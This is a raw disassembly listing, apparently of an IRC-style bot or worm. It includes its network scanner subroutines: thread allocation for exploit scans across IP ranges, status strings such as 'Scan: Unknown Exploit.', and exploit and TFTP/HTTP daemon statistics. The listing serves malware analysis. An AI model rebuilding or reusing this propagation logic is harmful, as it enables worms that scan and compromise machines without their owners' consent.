ds:dword_41D264 ; inet_addr push 2 mov [ebp+var_18], eax push 4 lea eax, [ebp+var_18] push eax call ds:dword_41D280 ; gethostbyaddr test eax, eax jnz short loc_401EEF mov eax, esi push eax ; Args push offset aNetIpSHostNA ; "Net: IP: %s Host: N/A" push ebx ; int push dword ptr [ebp+arg_4] ; char push offset dword_4269BC ; int call sub_417361 add esp, 14h jmp short loc_401F0B ; --------------------------------------------------------------------------- loc_401EEF: ; CODE XREF: sub_401E82+50j push dword ptr [eax] lea eax, [ebp+Args] push eax ; Args push offset aNetIpSHostS ; "Net: IP: %s Host: %s" push ebx ; int push dword ptr [ebp+arg_4] ; char push offset dword_4269BC ; int call sub_417361 add esp, 18h loc_401F0B: ; CODE XREF: sub_401E82+6Bj mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn 1Ch sub_401E82 endp ; =============== S U B R O U T I N E ======================================= sub_401F1C proc near ; DATA XREF: .rdata:off_420D1Co push 60h mov eax, offset loc_41C2E1 call __EH_prolog3_GS mov eax, [ebp+18h] mov [ebp-68h], eax xor eax, eax mov byte ptr [ebp-30h], 0 lea edi, [ebp-2Fh] stosd stosd stosd mov ebx, [ebp+20h] stosw and dword ptr [ebp-58h], 0 and dword ptr [ebp-48h], 0 stosb xor eax, eax mov byte ptr [ebp-20h], 0 lea edi, [ebp-1Fh] stosd stosd stosd stosw stosb or edi, 0FFFFFFFFh cmp byte_433945, 0 mov [ebp-50h], ebx mov byte ptr [ebp-41h], 0 mov [ebp-5Ch], edi mov [ebp-60h], edi mov [ebp-64h], edi mov [ebp-6Ch], edi jnz short loc_401F83 call sub_41B775 test al, al jz loc_402432 loc_401F83: ; CODE XREF: sub_401F1C+58j cmp byte_4268B4, 0 jnz short loc_401F99 call sub_418D17 test al, al jz loc_402432 loc_401F99: ; CODE XREF: sub_401F1C+6Ej and dword ptr [ebp-54h], 0 mov ecx, offset dword_424528 mov eax, ecx lea esi, [eax+1] loc_401FA7: ; CODE XREF: sub_401F1C+90j mov dl, [eax] inc eax test dl, dl jnz short loc_401FA7 jmp short loc_401FF6 ; --------------------------------------------------------------------------- loc_401FB0: ; CODE XREF: sub_401F1C+DCj mov edx, [ebx+4] mov eax, ecx loc_401FB5: ; CODE XREF: sub_401F1C+B1j mov cl, [eax] cmp cl, [edx] jnz short loc_401FD3 test cl, cl jz short loc_401FCF mov cl, [eax+1] cmp cl, [edx+1] jnz short loc_401FD3 inc eax inc eax inc edx inc edx test cl, cl jnz short loc_401FB5 loc_401FCF: ; CODE XREF: sub_401F1C+A1j xor eax, eax jmp short loc_401FD7 ; --------------------------------------------------------------------------- loc_401FD3: ; CODE XREF: sub_401F1C+9Dj ; sub_401F1C+A9j sbb eax, eax sbb eax, edi loc_401FD7: ; CODE XREF: sub_401F1C+B5j test eax, eax jz short loc_401FFC inc dword ptr [ebp-54h] mov ecx, [ebp-54h] imul ecx, 2Ch lea ecx, dword_424528[ecx] mov eax, ecx lea esi, [eax+1] loc_401FEF: ; CODE XREF: sub_401F1C+D8j mov dl, [eax] inc eax test dl, dl jnz short loc_401FEF loc_401FF6: ; CODE XREF: sub_401F1C+92j sub eax, esi jnz short loc_401FB0 jmp short loc_402001 ; --------------------------------------------------------------------------- loc_401FFC: ; CODE XREF: sub_401F1C+BDj cmp [ebp-54h], edi jnz short loc_40201E loc_402001: ; CODE XREF: sub_401F1C+DEj push offset aScanUnknownExp ; "Scan: Unknown Exploit." push dword ptr [ebp-68h] ; int push dword ptr [ebp+0Ch] ; char push offset dword_4269BC ; int call sub_417361 add esp, 10h jmp loc_402432 ; --------------------------------------------------------------------------- loc_40201E: ; CODE XREF: sub_401F1C+E3j mov esi, [ebx+8] mov eax, esi mov ecx, offset a____0 ; "*.*.*.*" call sub_419044 test eax, eax jz short loc_402043 push dword ptr [ebx+0Ch] ; char * mov byte ptr [ebp-41h], 1 call j__atol pop ecx mov [ebp-4Ch], eax jmp short loc_4020A0 ; --------------------------------------------------------------------------- loc_402043: ; CODE XREF: sub_401F1C+113j push esi ; char * call j__atol pop ecx push 3 pop edx cmp [ebp+1Ch], edx mov [ebp-4Ch], eax mov [ebp-48h], edx jl short loc_402099 mov eax, edx loc_40205A: ; CODE XREF: sub_401F1C+17Bj mov ecx, [ebp-50h] mov eax, [ecx+eax*4] mov edi, eax mov esi, offset aA ; "-a" mov ecx, edx xor ebx, ebx repe cmpsb jz short loc_4020E7 mov edi, eax mov esi, offset aB ; "-b" mov ecx, edx xor ebx, ebx repe cmpsb jz short loc_402099 mov edi, eax mov esi, offset aC ; "-c" mov ecx, edx xor eax, eax repe cmpsb jz short loc_4020ED inc dword ptr [ebp-48h] movzx eax, word ptr [ebp-48h] cmp eax, [ebp+1Ch] jle short loc_40205A loc_402099: ; CODE XREF: sub_401F1C+13Aj ; sub_401F1C+160j mov dword ptr [ebp-48h], 1 loc_4020A0: ; CODE XREF: sub_401F1C+125j ; sub_401F1C+1CFj ... xor eax, eax loc_4020A2: ; CODE XREF: sub_401F1C+19Cj cmp byte_426D01[eax], 0 jz short loc_4020AE inc dword ptr [ebp-58h] loc_4020AE: ; CODE XREF: sub_401F1C+18Dj add eax, 124h cmp eax, 0CD50h jbe short loc_4020A2 mov ecx, [ebp-58h] mov eax, 0B4h sub eax, ecx cmp eax, [ebp-4Ch] jnb short loc_4020F6 push eax ; Args push offset aScanNotEnoughT ; "Scan: Not Enough Threads. %d Available."... push dword ptr [ebp-68h] ; int push dword ptr [ebp+0Ch] ; char push offset dword_4269BC ; int call sub_417361 add esp, 14h jmp loc_402432 ; --------------------------------------------------------------------------- loc_4020E7: ; CODE XREF: sub_401F1C+151j and dword ptr [ebp-48h], 0 jmp short loc_4020A0 ; --------------------------------------------------------------------------- loc_4020ED: ; CODE XREF: sub_401F1C+16Fj mov dword ptr [ebp-48h], 2 jmp short loc_4020A0 ; --------------------------------------------------------------------------- loc_4020F6: ; CODE XREF: sub_401F1C+1ABj add [ebp-4Ch], ecx cmp byte ptr [ebp-41h], 0 jz loc_40221D mov eax, [ebp-50h] push dword ptr [eax+8] lea eax, [ebp-30h] push offset aS_19 ; "%s" push 0Fh pop ebx push ebx ; Count push eax ; Dest call __snprintf lea eax, [ebp-30h] add esp, 10h lea ecx, [eax+1] loc_402124: ; CODE XREF: sub_401F1C+20Dj mov dl, [eax] inc eax test dl, dl jnz short loc_402124 sub eax, ecx mov [ebp+eax-30h], dl lea eax, [ebp-6Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-60h] push eax lea eax, [ebp-5Ch] push eax lea eax, [ebp-30h] push offset aD_D_D_D_1 ; "%d.%d.%d.%d" push eax ; char * call _sscanf add esp, 18h cmp dword ptr [ebp-5Ch], 0FFFFFFFFh lea eax, [ebp-20h] jnz short loc_40216C push offset aX_ ; "x." push ebx ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_40217E ; --------------------------------------------------------------------------- loc_40216C: ; CODE XREF: sub_401F1C+23Dj push dword ptr [ebp-5Ch] push offset aD_ ; "%d." push ebx ; Count push eax ; Dest call __snprintf add esp, 10h loc_40217E: ; CODE XREF: sub_401F1C+24Ej cmp dword ptr [ebp-60h], 0FFFFFFFFh mov esi, offset aSD_ ; "%s%d." mov edi, offset aSx_ ; "%sx." lea eax, [ebp-20h] jnz short loc_40219F push eax push edi ; Format push ebx ; Count push eax ; Dest call __snprintf add esp, 10h jmp short loc_4021B1 ; --------------------------------------------------------------------------- loc_40219F: ; CODE XREF: sub_401F1C+273j push dword ptr [ebp-60h] push eax push esi ; Format lea eax, [ebp-20h] push ebx ; Count push eax ; Dest call __snprintf add esp, 14h loc_4021B1: ; CODE XREF: sub_401F1C+281j cmp dword ptr [ebp-64h], 0FFFFFFFFh lea eax, [ebp-20h] jnz short loc_4021C8 push eax push edi ; Format push ebx ; Count push eax ; Dest call __snprintf add esp, 10h jmp short loc_4021DA ; --------------------------------------------------------------------------- loc_4021C8: ; CODE XREF: sub_401F1C+29Cj push dword ptr [ebp-64h] push eax push esi ; Format lea eax, [ebp-20h] push ebx ; Count push eax ; Dest call __snprintf add esp, 14h loc_4021DA: ; CODE XREF: sub_401F1C+2AAj cmp dword ptr [ebp-6Ch], 0FFFFFFFFh lea eax, [ebp-20h] jnz short loc_4021F5 push eax push offset aSx ; "%sx" push ebx ; Count push eax ; Dest call __snprintf add esp, 10h jmp short loc_40220B ; --------------------------------------------------------------------------- loc_4021F5: ; CODE XREF: sub_401F1C+2C5j push dword ptr [ebp-6Ch] push eax push offset aSD ; "%s%d" lea eax, [ebp-20h] push ebx ; Count push eax ; Dest call __snprintf add esp, 14h loc_40220B: ; CODE XREF: sub_401F1C+2D7j lea eax, [ebp-20h] lea edx, [eax+1] loc_402211: ; CODE XREF: sub_401F1C+2FAj mov cl, [eax] inc eax test cl, cl jnz short loc_402211 jmp loc_4022F6 ; --------------------------------------------------------------------------- loc_40221D: ; CODE XREF: sub_401F1C+1E1j push dword_4269BC mov byte ptr [ebp-40h], 0 xor eax, eax lea edi, [ebp-3Fh] stosd stosd stosd stosw lea esi, [ebp-40h] stosb call sub_418FC6 xor eax, eax lea edi, [ebp-30h] stosd stosd stosd stosd mov eax, esi push eax push offset aS_19 ; "%s" push 0Fh pop esi lea eax, [ebp-30h] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp-30h] add esp, 14h lea ecx, [eax+1] loc_402261: ; CODE XREF: sub_401F1C+34Aj mov dl, [eax] inc eax test dl, dl jnz short loc_402261 sub eax, ecx mov [ebp+eax-30h], dl lea eax, [ebp-6Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-60h] push eax lea eax, [ebp-5Ch] push eax lea eax, [ebp-30h] push offset aD_D_D_D_1 ; "%d.%d.%d.%d" push eax ; char * call _sscanf mov eax, [ebp-48h] add esp, 18h sub eax, 0 jz short loc_4022D4 dec eax jz short loc_4022BA dec eax jnz short loc_4022E9 push dword ptr [ebp-64h] lea eax, [ebp-20h] push dword ptr [ebp-60h] push dword ptr [ebp-5Ch] push offset aD_D_D_x ; "%d.%d.%d.x" push esi ; Count push eax ; Dest call __snprintf add esp, 18h jmp short loc_4022E9 ; --------------------------------------------------------------------------- loc_4022BA: ; CODE XREF: sub_401F1C+37Cj push dword ptr [ebp-60h] lea eax, [ebp-20h] push dword ptr [ebp-5Ch] push offset aD_D_x_x ; "%d.%d.x.x" push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_4022E9 ; --------------------------------------------------------------------------- loc_4022D4: ; CODE XREF: sub_401F1C+379j push dword ptr [ebp-5Ch] lea eax, [ebp-20h] push offset aD_x_x_x ; "%d.x.x.x" push esi ; Count push eax ; Dest call __snprintf add esp, 10h loc_4022E9: ; CODE XREF: sub_401F1C+37Fj ; sub_401F1C+39Cj ... lea eax, [ebp-20h] lea edx, [eax+1] loc_4022EF: ; CODE XREF: sub_401F1C+3D8j mov cl, [eax] inc eax test cl, cl jnz short loc_4022EF loc_4022F6: ; CODE XREF: sub_401F1C+2FCj sub eax, edx cmp byte ptr [ebp-41h], 0 mov byte ptr [ebp+eax-20h], 0 mov eax, [ebp-50h] jz short loc_40230B push dword ptr [eax+0Ch] jmp short loc_40230E ; --------------------------------------------------------------------------- loc_40230B: ; CODE XREF: sub_401F1C+3E8j push dword ptr [eax+8] ; char * loc_40230E: ; CODE XREF: sub_401F1C+3EDj call j__atol push eax mov eax, [ebp-54h] imul eax, 2Ch push dword_424548[eax] lea eax, [ebp-20h] push eax ; Args push offset aScanSDUsingDTh ; "Scan: %s:%d Using %d Threads." push dword ptr [ebp-68h] ; int push dword ptr [ebp+0Ch] ; char push offset dword_4269BC ; int call sub_417361 add esp, 20h call sub_4192FB mov ecx, [ebp-4Ch] cmp [ebp-58h], ecx jnb loc_402432 mov eax, [ebp-58h] imul eax, 124h sub ecx, [ebp-58h] mov [ebp-50h], eax mov [ebp-4Ch], ecx mov esi, eax loc_402361: ; CODE XREF: sub_401F1C+510j push 124h ; size_t lea ebx, dword_426CF0[esi] lea edi, [ebx-100h] push 0 ; int push edi ; void * call _memset lea eax, [ebp-30h] push eax push offset aS_19 ; "%s" push 0Fh ; Count push ebx ; Dest call __snprintf mov eax, ebx add esp, 1Ch lea ecx, [eax+1] loc_402393: ; CODE XREF: sub_401F1C+47Cj mov dl, [eax] inc eax test dl, dl jnz short loc_402393 push dword ptr [ebp-68h] sub eax, ecx mov byte ptr dword_426CF0[esi+eax], dl mov al, [ebp-41h] push offset aS_19 ; "%s" mov [ebx+12h], al mov eax, [ebp-48h] push 0FFh ; Count push edi ; Dest mov [ebx+18h], eax call __snprintf mov eax, edi add esp, 10h lea ecx, [eax+1] loc_4023CA: ; CODE XREF: sub_401F1C+4B3j mov dl, [eax] inc eax test dl, dl jnz short loc_4023CA sub eax, ecx mov byte_426BF0[esi+eax], dl mov al, [ebp+0Ch] mov [ebx+10h], al mov eax, [ebp-54h] push 8 ; Size mov byte ptr [ebx+11h], 1 mov [ebx+14h], eax call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov [ebp-58h], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_402415 mov ecx, edi push offset sub_413A2D mov edi, offset aScanner ; "Scanner" mov esi, eax call sub_4140AB mov esi, [ebp-50h] jmp short loc_402417 ; --------------------------------------------------------------------------- loc_402415: ; CODE XREF: sub_401F1C+4DFj xor eax, eax loc_402417: ; CODE XREF: sub_401F1C+4F7j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [eax] add esi, 124h dec dword ptr [ebp-4Ch] mov [ebx+20h], eax mov [ebp-50h], esi jnz loc_402361 loc_402432: ; CODE XREF: sub_401F1C+61j ; sub_401F1C+77j ... call sub_40467F retn 1Ch sub_401F1C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40243A proc near ; DATA XREF: .rdata:off_420D24o Args = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_4 = byte ptr 0Ch arg_10 = dword ptr 18h push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 1Ch and dword ptr [esp+1Ch+Args], 0 push ebx push esi mov ebx, offset dword_433C48 push edi mov [esp+28h+var_10], ebx loc_402453: ; CODE XREF: sub_40243A+83j ; sub_40243A+A0j ... mov eax, dword_433C4C mov eax, [eax] mov [esp+28h+var_14], eax mov [esp+28h+var_18], ebx loc_402462: ; CODE XREF: sub_40243A+67j mov eax, dword_433C4C lea edi, [esp+28h+var_10] lea esi, [esp+28h+var_18] mov [esp+28h+var_C], eax call sub_40166F test al, al jz short loc_4024F5 mov edi, offset aScanner ; "Scanner" call sub_40164F mov esi, eax add esi, 5 push 8 pop ecx xor eax, eax repe cmpsb lea esi, [esp+28h+var_18] jz short loc_4024A3 lea edi, [esp+28h+var_8] call sub_40168C jmp short loc_402462 ; --------------------------------------------------------------------------- loc_4024A3: ; CODE XREF: sub_40243A+5Cj call sub_40164F mov edi, [eax+40h] lea esi, [esp+28h+var_18] call sub_40164F mov eax, [eax] call sub_414023 test al, al jz short loc_402453 xor eax, eax xor ecx, ecx loc_4024C3: ; CODE XREF: sub_40243A+9Ej cmp dword_426D10[ecx], edi jz short loc_4024DF add ecx, 124h inc eax cmp ecx, 0CD50h jbe short loc_4024C3 jmp loc_402453 ; --------------------------------------------------------------------------- loc_4024DF: ; CODE XREF: sub_40243A+8Fj inc dword ptr [esp+28h+Args] imul eax, 124h mov byte_426D01[eax], 0 jmp loc_402453 ; --------------------------------------------------------------------------- loc_4024F5: ; CODE XREF: sub_40243A+40j push dword ptr [esp+28h+Args] ; Args push offset aScanAllScanThr ; "Scan: All Scan Threads Stopped. %d kill"... push [ebp+arg_10] ; int push dword ptr [ebp+arg_4] ; char push offset dword_4269BC ; int call sub_417361 add esp, 14h pop edi pop esi pop ebx mov esp, ebp pop ebp retn 1Ch sub_40243A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=188h sub_40251A proc near ; DATA XREF: .rdata:off_420D2Co var_208 = dword ptr -208h Args = byte ptr -204h var_203 = byte ptr -203h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch arg_10 = dword ptr 18h push ebp lea ebp, [esp-188h] sub esp, 208h mov eax, dword_423064 xor eax, ebp mov [ebp+188h+var_4], eax mov eax, [ebp+188h+arg_10] push esi push edi mov esi, 1FFh push esi ; size_t mov [ebp+188h+var_208], eax lea eax, [ebp+188h+var_203] push 0 ; int push eax ; void * mov [ebp+188h+Args], 0 call _memset push offset aStatisticsExpl ; "Statistics: Exploits:" lea eax, [ebp+188h+Args] push esi ; Count push eax ; Dest xor edi, edi call __snprintf add esp, 18h xor eax, eax loc_40256B: ; CODE XREF: sub_40251A+7Ej push dword_42454C[eax] lea eax, dword_424528[eax] push eax lea eax, [ebp+188h+Args] push eax push offset aSSD ; "%s %s: %d" push esi ; Count push eax ; Dest call __snprintf add esp, 18h inc edi mov eax, edi imul eax, 2Ch cmp dword_424548[eax], 0 jnz short loc_40256B lea eax, [ebp+188h+Args] push eax push offset aSDaemons ; "%s; Daemons:" push esi ; Count push eax ; Dest call __snprintf push dword_43394C lea eax, [ebp+188h+Args] push eax push offset aSTftpD ; "%s TFTP: %d" push esi ; Count push eax ; Dest call __snprintf push dword_433940 lea eax, [ebp+188h+Args] push eax push offset aSHttpD ; "%s HTTP: %d" push esi ; Count push eax ; Dest call __snprintf add esp, 38h lea eax, [ebp+188h+Args] pop edi lea edx, [eax+1] pop esi loc_4025E1: ; CODE XREF: sub_40251A+CCj mov cl, [eax] inc eax test cl, cl jnz short loc_4025E1 sub eax, edx mov [ebp+eax+188h+Args], cl lea eax, [ebp+188h+Args] push eax ; Args push offset aS_19 ; "%s" push [ebp+188h+var_208] ; int push dword ptr [ebp+188h+arg_4] ; char push offset dword_4269BC ; int call sub_417361 mov ecx, [ebp+188h+var_4] xor ecx, ebp add esp, 14h call sub_402710 add ebp, 188h leave retn 1Ch sub_40251A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402624 proc near ; CODE XREF: sub_41B1A0+A6p jmp ds:dword_41D1DC sub_402624 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40262A proc near ; CODE XREF: sub_41B1A0+149p jmp ds:dword_41D1D8 sub_40262A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402630 proc near ; CODE XREF: sub_41B1A0+76p ; sub_41B1A0+B9p ... jmp ds:dword_41D1D4 sub_402630 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402636 proc near ; CODE XREF: sub_41B1A0+C8p ; sub_41B1A0+1C0p ... jmp ds:dword_41D1D0 sub_402636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40263C proc near ; CODE XREF: sub_41B1A0+1B1p jmp ds:dword_41D1CC sub_40263C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402642 proc near ; CODE XREF: sub_41A9DE+B2p jmp ds:dword_41D1C4 sub_402642 endp ; [00000005 BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40264D proc near ; DATA XREF: .rdata:004212A4o mov dword ptr [ecx], offset off_41D338 jmp sub_40109A sub_40264D endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_402658(void *Memory,char) sub_402658 proc near ; DATA XREF: .rdata:off_41D338o arg_0 = byte ptr 4 push esi mov esi, ecx mov dword ptr [esi], offset off_41D338 call sub_40109A test [esp+4+arg_0], 1 jz short loc_402674 push esi ; Memory call j__free pop ecx loc_402674: ; CODE XREF: sub_402658+13j mov eax, esi pop esi retn 4 sub_402658 endp ; =============== S U B R O U T I N E ======================================= sub_40267A proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)+Dp push 44h mov eax, offset loc_41C1D3 call __EH_prolog3 push offset aStringTooLong ; "string too long" lea ecx, [ebp-28h] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *) and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401065 push offset dword_421988 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41D32C call sub_4041BB int 3 ; Trap to Debugger sub_40267A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4026B9 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Fp var_10 = dword ptr -10h push 44h mov eax, offset loc_41C1D3 call __EH_prolog3 push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-28h] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *) and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401065 push offset dword_4212A0 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41D338 call sub_4041BB int 3 ; Trap to Debugger push esi push [esp+18h+var_10] mov esi, ecx call sub_4013E6 mov dword ptr [esi], offset off_41D338 mov eax, esi pop esi retn 4 sub_4026B9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_402710 proc near ; CODE XREF: sub_401C1D+9Ap ; sub_401CC0+1B7p ... cmp ecx, dword_423064 jnz short loc_40271A rep retn ; --------------------------------------------------------------------------- loc_40271A: ; CODE XREF: sub_402710+6j jmp ___report_gsfailure sub_402710 endp ; [00000082 BYTES: COLLAPSED FUNCTION _LocaleUpdate::_LocaleUpdate(localeinfo_struct *). PRESS KEYPAD "+" TO EXPAND] ; [00000035 BYTES: COLLAPSED FUNCTION ___ascii_stricmp. PRESS KEYPAD "+" TO EXPAND] ; [000000D3 BYTES: COLLAPSED FUNCTION __stricmp_l. PRESS KEYPAD "+" TO EXPAND] ; [00000050 BYTES: COLLAPSED FUNCTION __stricmp. PRESS KEYPAD "+" TO EXPAND] ; [000000F0 BYTES: COLLAPSED FUNCTION __strnicmp_l. PRESS KEYPAD "+" TO EXPAND] ; [0000005C BYTES: COLLAPSED FUNCTION __strnicmp. PRESS KEYPAD "+" TO EXPAND] ; [00000092 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [00000008 BYTES: COLLAPSED FUNCTION $LN16. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN12. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402AE8 proc near ; CODE XREF: sub_419EA0+54p jmp ds:dword_41D194 sub_402AE8 endp ; [000000AD BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND] ; [00000005 BYTES: COLLAPSED FUNCTION j_j__free. PRESS KEYPAD "+" TO EXPAND] ; [0000005B BYTES: COLLAPSED FUNCTION _memmove_s. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_402BFB proc near ; CODE XREF: sub_401065+11p mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax+8], 0 mov dword ptr [eax], offset off_41D36C retn sub_402BFB endp ; [0000004E BYTES: COLLAPSED FUNCTION std::exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION std::exception::exception(char const * const &,int). PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION std::exception::exception(exception::exception const &). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_402CCA proc near ; CODE XREF: sub_401038+6j ; sub_401043+9p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41D36C jz short locret_402CDF push dword ptr [ecx+4] ; Memory call _free pop ecx locret_402CDF: ; CODE XREF: sub_402CCA+Aj retn sub_402CCA endp ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_402CED(void *Memory,char) sub_402CED proc near ; DATA XREF: .rdata:off_41D36Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402CCA test [esp+4+arg_0], 1 jz short loc_402D03 push esi ; Memory call j__free pop ecx loc_402D03: ; CODE XREF: sub_402CED+Dj mov eax, esi pop esi retn 4 sub_402CED endp ; [000000AD BYTES: COLLAPSED FUNCTION __onexit_nolock. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION $LN7. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_402E33 proc near ; CODE XREF: __init_pointers+15p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_425A80, eax retn sub_402E33 endp ; [000000FC BYTES: COLLAPSED FUNCTION __invoke_watson. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __invalid_parameter. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION __invalid_parameter_noinfo. PRESS KEYPAD "+" TO EXPAND] ; [00000005 BYTES: COLLAPSED FUNCTION j__free. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _memcpy_s. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_402FED proc near ; CODE XREF: sub_402FFB+3p push ecx mov dword ptr [ecx], offset off_41D38C call sub_407F55 pop ecx retn sub_402FED endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_402FFB(void *Memory,char) sub_402FFB proc near ; DATA XREF: .rdata:off_41D38Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402FED test [esp+4+arg_0], 1 jz short loc_403011 push esi ; Memory call j__free pop ecx loc_403011: ; CODE XREF: sub_402FFB+Dj mov eax, esi pop esi retn 4 sub_402FFB endp ; [0000001B BYTES: COLLAPSED FUNCTION unknown_libname_8. PRESS KEYPAD "+" TO EXPAND] ; [00000019 BYTES: COLLAPSED FUNCTION std::bad_alloc::bad_alloc(void). PRESS KEYPAD "+" TO EXPAND] ; [0000006A BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND] ; [000000BA BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND] ; [0000000A BYTES: COLLAPSED FUNCTION $LN12_0. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND] ; [00000145 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND] ; [0000000A BYTES: COLLAPSED FUNCTION $LN18. PRESS KEYPAD "+" TO EXPAND] ; [0000000D BYTES: COLLAPSED FUNCTION _srand. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND] ; [000000B1 BYTES: COLLAPSED FUNCTION __vsnprintf_l. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND] ; [00000073 BYTES: COLLAPSED FUNCTION __fclose_nolock. PRESS KEYPAD "+" TO EXPAND] ; [00000071 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND] ; [00000003 BYTES: COLLAPSED FUNCTION $LN13_2. PRESS KEYPAD "+" TO EXPAND] ; [00000008 BYTES: COLLAPSED FUNCTION $LN10. PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION __time64. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION _vscan_fn. PRESS KEYPAD "+" TO EXPAND] ; [0000001F BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000002F BYTES: COLLAPSED CHUNK OF FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] ; [00000046 BYTES: COLLAPSED FUNCTION _V6_HeapAlloc. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN8_1. PRESS KEYPAD "+" TO EXPAND] ; [000000C3 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000086 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO 